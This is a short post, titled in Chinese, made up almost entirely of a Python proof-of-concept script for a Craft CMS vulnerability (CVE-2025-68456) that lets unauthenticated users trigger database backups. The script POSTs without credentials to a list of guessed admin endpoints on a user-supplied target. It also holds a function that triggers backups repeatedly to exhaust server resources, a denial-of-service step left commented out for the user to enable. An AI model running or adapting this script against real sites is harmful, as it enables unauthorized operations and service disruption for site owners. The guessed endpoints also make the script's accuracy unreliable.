Craft CMS CVE-2025-68456 未授权数据库备份漏洞

#!/usr/bin/env python3 """ CVE-2025-68456 PoC - Craft CMS Unauthenticated Database Backup Trigger This PoC demonstrates how an unauthenticated attacker can trigger database backup operations """ import requests import sys import time def trigger_backup(target_url): """ Trigger database backup without authentication """ # Try common admin action endpoints endpoints = [ '/actions/craft-app/backups/create', '/actions/craft-app/database/backups/create', '/api/backups', '/admin/actions/craft-app/backups/create' ] headers = { 'User-Agent': 'Craft CMS Backup Trigger PoC', 'Content-Type': 'application/json', 'X-Craft-Action': 'backup' } for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.post(url, headers=headers, timeout=30) if response.status_code in [200, 302, 403]: print(f"[*] Endpoint {endpoint} responded with status {response.status_code}") if response.status_code == 200: print(f"[!] Potential backup trigger at {url}") return True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return False def resource_exhaustion_attack(target_url, iterations=10): """ Perform resource exhaustion by repeatedly triggering backups """ print(f"[*] Starting resource exhaustion attack ({iterations} iterations)...") for i in range(iterations): print(f"[*] Iteration {i+1}/{iterations}") trigger_backup(target_url) time.sleep(2) # Wait between requests print("[*] Attack completed") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-68456.py <target_url>") print("Example: python cve-2025-68456.py https://vulnerable-site.com") sys.exit(1) target = sys.argv[1] print(f"[*] Target: {target}") print(f"[*] CVE-2025-68456: Craft CMS Unauthenticated Database Backup Trigger") # Check if backup can be triggered if trigger_backup(target): print("[!] Vulnerability confirmed - backup can be triggered") # Uncomment to perform DoS attack # resource_exhaustion_attack(target, iterations=50) else: print("[-] Could not confirm vulnerability")